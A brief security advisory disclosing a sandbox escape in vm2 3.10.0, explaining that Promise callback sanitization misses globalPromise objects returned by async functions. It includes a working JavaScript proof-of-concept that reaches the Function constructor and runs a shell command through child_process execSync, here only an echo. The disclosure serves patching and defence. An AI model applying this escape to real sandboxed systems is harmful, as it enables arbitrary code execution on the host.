CVE-2026-22709: vm2 has a Sandbox Escape

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

js const { VM } = require("vm2");

const code = const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('childprocess').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); ;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.